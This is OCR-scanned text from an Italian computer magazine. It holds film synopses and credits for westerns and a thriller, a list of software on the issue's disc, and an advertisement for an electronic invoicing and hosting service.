una comunità impoverita dalla cri- 
si economica e da funzionari cor- 
rotti che la vessano. Non potranno 
impedire la tragica ribellione di un 
giovane, ma in fine i disonesti non 
avranno scampo. 


SCHEDA TECNICA 

REGIA: GEORGE SHERMAN » CAST: JOHN WAYNE, 
RAY CORRIGAN, RAYMOND HATTON, DONALD BARRY, 
LEROY MASON, YAKIMA CANUTT » DURATA: 52 MIN. » 
GENERE: WESTERN » ANNO: USA 1935 








‘LABANDA DEI 


RAZZIATORI 


Una banda di fuorilegge terrorizza 
la popolazione del Wyoming per 
evitare che voti a favore dell'ade- 
sione dello Stato all'unione. John 
Tipton viene inviato dalle autori- 
tà federali a fermare banditi e far 
svolgere regolarmente il referen- 
dum. La comunità si schiera con 
gli agenti federali in una battaglia 
senza esclusione di colpi. 


SCHEDA TECNICA 

REGIA: JOSEPH KANE CAST: JOHN WAYNE, ANN 
RUTHERFORD, LANE CHANDLER, HARRY WOODS, 
ETTA MCDANIEL, GABBY HAYES » DURATA: 74 MIN. » 
GENERE: WESTERN » ANNO: USA 1936 





RED RIVER 
RANGE 


Una banda di razziatori, servendo- 
si di grossi camion, ruba il bestia- 
me agli allevatori della zona di Red 
River, in Texas. Per interrompere 
il complicato traffico che fa leva, 
fra l'altro, su ignari turisti, devo- 
no intervenire i “Tre Moschettieri”, 
abili agenti federali. Inseguimen- 
ti e sparatorie, questa volta sono 
motorizzati. 


SCHEDA TECNICA 

REGIA: GEORGE SHERMAN © CAST: JOHN WAYNE, » 
RAY CORRIGAN, MAXTERHUNE, KIRBY GRANT, LORNA 
GRAY » DURATA: 56 MOINUTI » GENERE: WESTERN » 
ANNO: USA 1938 / 





£Y JOHN WAYNE 
RAY CORRIGAN 
MAX TERHUME 


USATE RT 
Mack V. Wright 


THE NIGHT 
RIDERS 


Talbot riesce in maniera losca a 
diventare il governatore di ben tre- 
dici milioni di acri di terreno, siti nel 
sud-ovest degli Stati Uniti. Il possi- 
dente usa il proprio potere per ves- 
sare l'onesta gente di Mesquite, tas- 
sando tutti pesantemente e dando la 
caccia a chi rifiuta di pagare. Ma arri- 
vano Stony Brooke e i suoi due amici 
Tucson Smith e Lullaby Joslin - noti 
anche come i Mesquiteers - amanda- 
re in fumo tutti i suoi piani di potere. 


SCHEDA TECNICA 

REGIA: GEORGE SHERMAN » CAST: JOHN WAYNE, RAY 
CORRIGAN, MAXTERHUNE » DURATA: 56 MINUTI » 
GENERE: WESTERN » ANNO: USA 1939 











5.000 DOLLARI 
SULL’ASSO 


Un giocatore vince al poker metà 
di un ranch, ma i comproprietari, 
fratello e sorella, non sono d'accor- 
do nel considerare legittima la vin- 
cita e si rivolgono a un avvocato. 
Quest'ultimo, invece di difendere 
gli interessi dei due giovani, ten- 
ta di impadronirsi a sua volta della 
proprietà. Il giocatore smaschera 
gli intrighi dell'avvocato. 


SCHEDA TECNICA 

REGIA: ALFONSO BALCAZAR * CAST: ROBERT WOODS, 
BARBARA FREY, NORMAN PRESTON, HELMUT SCHMIT, 
FERNANDO SANCHO - DURATA: 95 MIN. » GENERE: 
WESTERN « ANNO: GERMANIA 1964 


POUR 


È | PILA 6% t 
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UNIVA \ETAVANNI= 


BASE 


| programmi completi scelti dalla Redazione 
per mettere in pratica i nostri tutorial 


Musica, Film e dati. Ecco 
l'esclusivo software in grado 
di masterizzare l'impossibile. 


Scopri come usarlo a p. 34 


Sega Saturn sul tuo PC 


Il toolkit software che 
trasforma il tuo PC nella 
console Saturn. 

Il divertimento è assicurato! 


Windows 
Cleaner App 


Virus, blocchi ed errori 
improvvisi? Con questi 
software risolvi tutto! 


Leggi il tutorial a pagina 56 Leggi il tutorial a pagina 70 


UUINEIVIA\CTAVANI= 


PLUS 


Non perdere il “Top Game” del mese 
per giocare alla grande con il tuo PC 


Hai presente Atari Breakout? 


In Cosmic Ball lo scopo del giocato- 
re è abbattere un muro di mattoni 
posto nella parte superiore dello 
schermo, mentre in quella inferio- 
re c'è solamente una piccola barra 
che può essere mossa a destra e 


sinistra: con questa bisogna colpi- 
re una palla che rimbalza, in modo 
che distrugga tutti i mattoni che 
compongono il muro. Ecco il più bel 
clone dell'arcinoto gioco Breakout. 
Sei pronto ad abbattere il muro? 


Edin più TUTTI I CONTENUTI DELLA VERSIONE BASE 


UINANIA\CTAVA[NI= 


DAD, 


[D\V{DXe[oJe)o]feg«olaialinaNiia i PAVIDAVITe (-To)e](oleo) 


completo, 4 GB di software extra 


Un action/thriller che ti lascerà senza fiato 


Lester Grisam, condannato per omicidio e rapina, fugge di prigione con l'aiuto di 2 complici. 
La sua meta è la casa di Kelly Ryan e Stuart Duncan, una giovane coppia in procinto di 
sposarsi. 4 anni prima, Stuart era entrato nel programma di protezione testimoni, per aver 
denunciato Grisam. Questi, spinto dal desiderio di vendicarsi, prende in ostaggio Kelly 
e la sorella, approfittando dell'assenza del giovane. Il suo piano è di costringere Stuart a 
prelevare 10.000$ per poi depositarli in un conto bancario nelle isole Cayman. 


Ed in più TUTTI I CONTENUTI DELLA VERSIONE PLUS 
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i SPORCHIDI 
} SANGUE -. 


SCHEDATECNICA 


REGIA: John Sheppard 

CAST: Ames Brolin, Traci Lords, 
Alison Moir, Billy Drago 
DURATA: 90 minuti 

GENERE: Thriller 

ANNO: USA 1996 

LINGUA: Italiano 

AUDIO: Dolby Digital 





EDIZIONI 
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FATTURAZIONE 
ELETTRONICA 


RATTI 
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| nostri servizi 
la fanno semplice. 


x 


al 





Seguici su: Le nostre certificazioni: 


hostingsolutions.it 


UNI EN ISO 9001 VIVA 
sSODGHOOSO 


Nou ISOVIEC 27001 


COMPLIANI 


Full-Optional 


Un unico servizio per gestire la fatturazione elettronica: 
Firma digitale sulle fatture, invio e ricezione da SDI, 
ciclo attivo e p assivo, conservazione sostitutiva per 10 anni. 


Sempre conformi 

Il servizio è costantemente aggiornato e conforme 

alle nuove disposizioni di legge. Un unico servizio per adempiere 
a tutti gli obblighi sulla fatturazione elettronica. 


Sicurezza e integrità 

L'azienda è certificata IS09001 e IS027001 ed eroga i servizi 

da un network di 4 Data Center di ultima generazione tutti in Italia. 
Garanzia della sicurezza delle informazioni ed integrità dei dati. 


Rivenditori e Software House 
Disponibilità di un pannello di controllo completo 

e brandizzabile per il rivenditore e interfacce software 
per integrare il work-flow di fatturazione elettronica 
E PIOPLIOCEStEE 


SCOPRI DI PIU 





Hosting 


solutions 


out of the box 
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